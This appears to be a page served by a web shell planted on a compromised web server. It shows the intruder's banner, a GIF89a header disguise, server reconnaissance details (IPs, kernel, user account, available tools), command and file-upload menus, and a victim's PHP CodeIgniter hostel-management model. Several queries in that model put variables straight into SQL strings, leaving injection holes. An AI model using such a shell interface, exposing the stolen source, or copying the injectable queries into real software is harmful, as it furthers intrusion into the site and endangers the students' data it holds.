GIF89a; CRX
KBHT HEHE
Server IP : 172.26.0.195  /  Your IP : 3.143.218.180
Web Server : Apache
System : Linux 43-205-77-33.cprapid.com 3.10.0-1160.119.1.el7.tuxcare.els2.x86_64 #1 SMP Mon Jul 15 12:09:18 UTC 2024 x86_64
User : jnclnmuac ( 1026)
PHP Version : 8.0.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/jnclnmuac/public_html/web/css/../../jobs/../cas/application/models/admin/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/jnclnmuac/public_html/web/css/../../jobs/../cas/application/models/admin/HostelManagement.php
<?php

/**
 * Description of HostelManagement
 *
 * @author Softpro India Pvt. Ltd.
 */
class HostelManagement extends CI_Model {

    function createNewRoom($RoomInfo) {
        $this->db->insert("hostel_room_mst", $RoomInfo);

        return $this->db->insert_id();
    }

    function getAllRooms() {
        $this->db->select("*");
        $this->db->from("hostel_room_mst");
        return $this->db->get();
    }

    function getAllRoomType() {
        $this->db->select("*");
        $this->db->from("fee_heads_opt_mst");
        $this->db->where("fhom_type", "H");
        return $this->db->get();
    }

    function getAllActiveRoomType() {
        $this->db->select("*");
        $this->db->from("fee_heads_opt_mst");
        $this->db->where("fhom_active_status", 'T');
        $this->db->where("fhom_delete_status", 'F');
        $this->db->where("fhom_type", "H");
        return $this->db->get();
    }

    function getFeeByRoomTypeId($hrt_id) {
        $this->db->select("*");
        $this->db->from("fee_heads_opt_mst");
        $this->db->where("fhom_id", $hrt_id);
        $this->db->where("fhom_type", "H");
        return $this->db->get();
    }

    function getRooms() {
        $this->db->select("*,"
                . "CONCAT(TPRFLA.tprfl_firstname,' ',TPRFLA.tprfl_lastname) addedByAdmin,"
                . "CONCAT(TPRFLU.tprfl_firstname,' ',TPRFLU.tprfl_lastname) updatedByAdmin");
        $this->db->from("hostel_room_mst HRM");
        $this->db->join('tbl_staff_members TSMA', 'HRM.hrm_added_by = TSMA.smember_id');
        $this->db->join('tbl_profile TPRFLA', 'TSMA.smember_id = TPRFLA.tprfl_id');
        $this->db->join('tbl_staff_members TSMU', 'HRM.hrm_updated_by = TSMU.smember_id');
        $this->db->join('tbl_profile TPRFLU', 'TSMU.smember_id = TPRFLU.tprfl_id');
        $this->db->join("fee_heads_opt_mst FHOM", "HRM.fhom_id=FHOM.fhom_id");
        $this->db->order_by("hrm_updated_on", "desc");
        return $this->db->get();
    }

    function getRoomId($sid) {
        $this->db->select("*");
        $this->db->from("hostel_room_mst HRM");
        $this->db->join("fee_heads_opt_mst FHOM", "HRM.fhom_id=FHOM.fhom_id");
        $this->db->where("hrm_id", $sid);
        return $this->db->get();
    }

    function updateRoom($room_id, $updateData) {
        $this->db->where("hrm_id", $room_id);
        return $this->db->update("hostel_room_mst", $updateData);
    }

    function getByRoomNumber($room_name, $id = '') {
        $this->db->select("*");
        $this->db->from("hostel_room_mst");
        $this->db->where("hrm_number", $room_name);
        return $this->db->get();
    }

    function getByRoomNumberById($room_name, $id = '') {
        $this->db->select("*");
        $this->db->from("hostel_room_mst");
        $this->db->where("hrm_number", $room_name);
        if ($id != '') {
            $this->db->where("fhom_id NOT IN('$id')");
        }
        return $this->db->get();
    }

    function createRoomAllotment(array $array) {
        $this->db->insert('student_hostel_allot', $array);
        return $this->db->insert_id();
    }

    //function getAllEnrolledStudentsForHostelAllotmentBy($course, $semester) {

    function getAllStudentWhoseFeesIsPaidBy($course = '', $semOrYear = '', $head = '', $session = '') {
        $this->db->select("*");
        $this->db->from("tbl_student_personal_info TSPI");
        $this->db->join('tbl_univ_course_session_mapping TUCSM', 'TSPI.ucs_map_id = TUCSM.ucs_map_id');
        $this->db->join('tbl_session_master TSM', 'TUCSM.session_id = TSM.session_id');
        $this->db->join('tbl_course_sub_master TSCM', 'TUCSM.sub_course_id = TSCM.tcsm_id');
        $this->db->join('tbl_course_master TCM', 'TSCM.course_id = TCM.course_id');
        $this->db->join("tbl_student_semester_section_info TSSI", "TSPI.tspi_id = TSSI.tspi_id");
        $this->db->where("TSPI.tspi_status", "CE");
        $this->db->where("TSPI.tspi_id IN ("
                . "SELECT Distinct FCOM.tspi_id "
                . "FROM fee_collection_opt_mst FCOM, "
                . "fee_receipt_opt_mst FRM,"
                . "fee_structure_opt_mst FSOM "
                . "WHERE FCOM.from_id = FRM.from_id "
                . " AND FSOM.fsom_id = FCOM.fsom_id"
                . " AND FRM.session_id = '$session'"
                . " AND FSOM.fhom_id = '$head'"
                . "AND FRM.from_status = 'A')");
        $this->db->where("TSPI.tspi_id NOT IN (SELECT tspi_id FROM student_hostel_allot WHERE sha_session = '$session' AND  sha_delete_status = 'F' AND sha_status = 'A' )");
        if ($semOrYear !== '') {
            $this->db->where("TSSI.tsssi_semester", $semOrYear);
        }
        if ($course !== '') {
            $this->db->where("TCM.course_id", $course);
        }
        return $this->db->get();
    }

    function getAllRoomsByRoomHead($fhom_id) {
        $this->db->select("*");
        $this->db->from('student_hostel_allot SHA');
        $this->db->join('hostel_room_mst HRA', 'HRA.hrm_id = SHA.hrm_id');
        $this->db->join('fee_heads_opt_mst FHOM', 'FHOM.fhom_id = SHA.fhom_id');
        $this->db->where("FHOM.fhom_id", $fhom_id);
        $this->db->order_by("SHA.sha_updated_on", "desc");
        return $this->db->get();
    }

    function getAllRoomByRoomHead($fhom_id = "") {
        $this->db->select("*");
        $this->db->from('hostel_room_mst HRM');
        $this->db->join('fee_heads_opt_mst FHOM', 'FHOM.fhom_id = HRM.fhom_id');
        if ($fhom_id != '') {
            $this->db->where("FHOM.fhom_id", $fhom_id);
        }
        $this->db->order_by("HRM.hrm_updated_on", "desc");
        return $this->db->get();
    }

    function getAllotedRoomType() {
        $this->db->select("*");
        $this->db->from('student_hostel_allot SHA');
        $this->db->join('hostel_room_mst HRM', 'HRM.hrm_id = SHA.hrm_id');
        $this->db->join('fee_heads_opt_mst FHOM', 'FHOM.fhom_id = SHA.fhom_id');
        return $this->db->get();
    }

    function getActiveRoomsRoomTypeAlloted() {
        $this->db->select("*");
        $this->db->from("fee_heads_opt_mst FHOM");
        $this->db->where("fhom_delete_status", 'F');
        $this->db->where("fhom_active_status", 'T');
        $this->db->where("fhom_type", 'H');
        return $this->db->get();
    }

    public function getAllottedStudentToRoomInfoBy($course = '', $sem = '', $roomHead = '', $room_no = '', $session = '') {
        $this->db->select("*");
        $this->db->from("student_hostel_allot SHA");
        $this->db->join('hostel_room_mst HRM', 'HRM.hrm_id = SHA.hrm_id');
        $this->db->join('fee_heads_opt_mst FHOM', 'FHOM.fhom_id = HRM.fhom_id');
        $this->db->join('tbl_student_personal_info TSPI', 'TSPI.tspi_id = SHA.tspi_id');
        $this->db->join('tbl_univ_course_session_mapping TUCSM', 'TSPI.ucs_map_id = TUCSM.ucs_map_id');
        $this->db->join('tbl_session_master TSM', 'TUCSM.session_id = TSM.session_id');
        $this->db->join('tbl_course_sub_master TSCM', 'TUCSM.sub_course_id = TSCM.tcsm_id');
        $this->db->join('tbl_course_master TCM', 'TSCM.course_id = TCM.course_id');
        $this->db->where("SHA.sha_status = 'A'");
        $this->db->where("SHA.sha_delete_status = 'F'");
        $this->db->join("tbl_student_semester_section_info TSSI", "TSPI.tspi_id = TSSI.tspi_id");
        if ($course != '') {
            $this->db->where("TCM.course_id", $course);
        }
        if ($sem != '') {
            $this->db->where("TSSI.tsssi_semester", $sem);
        }
        if ($roomHead != '') {
            $this->db->where("FHOM.fhom_id", $roomHead);
        }
        if ($room_no != '') {
            $this->db->where("HRM.hrm_id", $room_no);
        }
        if ($session != '') {
            $this->db->where("SHA.sha_session", $session);
        }
        return $this->db->get();
    }

    function getAllRoomsByForJSON($fhom_id, $old_hrm_id = '') {
        $this->db->select("*");
        $this->db->from('hostel_room_mst HRA');
        $this->db->join('fee_heads_opt_mst FHOM', 'FHOM.fhom_id = HRA.fhom_id');
        $this->db->where("HRA.hrm_id NOT IN('$old_hrm_id')");
        $this->db->where("FHOM.fhom_id", $fhom_id);
        return $this->db->get();
    }

    function getRoomAllotmentInfo($session, $hrm_id) {
        $this->db->select("COUNT(SHA.sha_id) as vacancyInfo, SHA.hrm_id as room_id");
        $this->db->from("student_hostel_allot SHA");
        $this->db->where("SHA.sha_session", $session);
        $this->db->where("SHA.hrm_id", $hrm_id);
        $this->db->where("SHA.sha_status", "A");
        $this->db->group_by("SHA.hrm_id");
        return $this->db->get();
    }

    function updateRoomAllotment(array $array, $sha_id) {
        $this->db->where("sha_id", $sha_id);
        return $this->db->update('student_hostel_allot', $array);
    }

    function getAllotmentDetailsBy($tspi_id, $session_id) {
        $this->db->select("*");
        $this->db->from('student_hostel_allot SHA');
        $this->db->where("SHA.sha_session", $session_id);
        $this->db->where("SHA.tspi_id", $tspi_id);
        $this->db->where("SHA.sha_status", "A");
        return $this->db->get();
    }

}

KBHT - 2023